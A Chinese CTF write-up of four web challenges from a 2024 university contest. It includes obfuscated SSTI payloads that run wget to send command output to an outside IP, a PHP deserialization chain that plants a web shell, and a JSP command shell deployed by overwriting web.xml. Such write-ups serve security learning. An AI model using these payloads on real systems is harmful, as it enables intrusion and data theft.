2024“源鲁杯”高校网络安全技能大赛 WEB题解
Disal
查看源代码发现f1ag_is_here.php,提示看robots.txt发现f1ag.php
源代码如下
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];
if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
首先a用十六进制绕过,b用弱比较绕过 传参
a=0xeeeeeeeeeeeeeeeeeeee&b=12345a
shxpl
题目过滤了很多很多符号,导致不能绕过关键词,由于ls被过滤
我们可以用find来查看目录下的文件名
find / -print
得到文件名字flag_8dGVrMvI
但是名字被过滤了,我们仍然读不了,可以用软链接目录来读
ln -s / /var/www/html/aaa
之后我们访问aaa/flag_8dGVrMvI即可得到flag
Injct
ssti并且过滤了print {{}} 那么只能用if语句来外带,同时测试发现禁用了curl那么我们用wget来外带
使用fenjing构造:
{%if(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2+'globals'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2+'builtins'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))(('e'+'v'+'a'+'l')))((lipsum|escape|batch(22)|list|first|last)*2+('i'+'m'+'p'+'o'+'r'+'t')+(lipsum|escape|batch(22)|list|first|last)*2))('os')|attr(('p'+'o'+'p'+'e'+'n')))((('%c'*34)%(119,103,101,116,32,49,50,52,46,50,50,48,46,51,55,46,49,55,51,58,50,51,51,51,47,96,99,97,116,32,47,102,42,96))))|attr('read'))()))%}{%endif%}
尝试手动构造:
{%if(lipsum|attr(('%c'%95)*2+'globals'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)('os')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('\\167\\147\\145\\164\\40\\150\\164\\164\\160\\72\\57\\57\\61\\62\\64\\56\\62\\62\\60\\56\\63\\67\\56\\61\\67\\63\\72\\62\\63\\63\\63\\57\\140\\154\\163\\140')|attr('read')())%}{%endif%}
pExpl
题目源码如下
<?php
error_reporting(0);
class FileHandler {
private $fileHandle;
private $fileName;
public function __construct($fileName, $mode = 'r') {
$this->fileName = $fileName;
$this->fileHandle = fopen($fileName, $mode);
if (!$this->fileHandle) {
throw new Exception("Unable to open file: $fileName");
}
echo "File opened: $fileName\n";
}
public function readLine() {
return fgets($this->fileHandle);
}
public function writeLine($data) {
fwrite($this->fileHandle, $data . PHP_EOL);
}
public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}
}
class User {
private $userData = [];
public function __set($name, $value) {
if ($name == 'password') {
$value = password_hash($value, PASSWORD_DEFAULT);
}
$this->userData[$name] = $value;
}
public function __get($name) {
return $this->userData[$name] ?? null;
}
public function __toString() {
if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
call_user_func($this->data,$this->params);
}
return "Hello";
}
public function __isset($name) {
return isset($this->userData[$name]);
}
}
class Logger {
private $logFile;
private $lastEntry;
public function __construct($logFile = 'application.log') {
$this->logFile = $logFile;
}
private function log($level, $message) {
$this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;
file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
}
public function setLogFile($logFile) {
$this->logFile = $logFile;
}
public function clearOldLogs($daysToKeep = 30) {
$files = glob("*.log");
$now = time();
foreach ($files as $file) {
if (is_file($file)) {
if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) {
unlink($file);
}
}
}
}
public function __call($name, $arguments) {
$validLevels = ['info', 'warning', 'error', 'debug'];
if (in_array($name, $validLevels)) {
$this->log(strtoupper($name), $arguments[0]);
} else {
throw new Exception("Invalid log level: $name");
}
}
public function __invoke($message, $level = 'INFO') {
$this->log($level, $message);
}
}
if(isset($_GET['exp'])) {
if(preg_match('/<\?php/i',$_GET['exp'])){
exit;
}
$exp = unserialize($_GET['exp']);
throw new Exception("Test!");
} else {
highlight_file(__FILE__);
}
需要注意的是fileHandler变量是一个文件指针
我们借助call_user_func来调用类的方法info,不存在就会触发__call魔术方法,然后就会走到写文件的地方
class User {
private $userData = [];
public function __construct()
{
$a = new Logger('shell.php');
$this->data = array($a,'info');
$this->params = '<?=`$_GET[cmd]`;?>';
}
}
最后由于禁用了<?php标签我们可以用短标签绕过
pop链如下
<?php
class FileHandler {
private $fileHandle;
private $fileName;
public function __construct($fileName) {
$this->fileName = $fileName;
$this->fileHandle = &$this->fileName;
}
}
class User {
private $userData = [];
public function __construct()
{
$a = new Logger('shell.php');
$this->data = array($a,'info');
$this->params = '<?=`$_GET[cmd]`;?>';
}
}
class Logger {
private $logFile;
private $lastEntry;
public function __construct($logFile = 'application.log') {
$this->logFile = $logFile;
}
}
$f = new FileHandler(new User);
echo urlencode(serialize($f));
?>
TOXEC
题目有个文件上传功能,不能上传jsp但可以上传xml,立马就想到了羊城杯结果还真一样
先上传一个xml文件,内容为jsp的回显马
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
注意上传路径为../WEB-INF/shell.xml
再上传web.xml进行覆盖,解析xml为jsp
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/shell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/exec</url-pattern>
</servlet-mapping>
</web-app>
路径为../WEB-INF/web.xml
之后访问exec路径即可
没有评论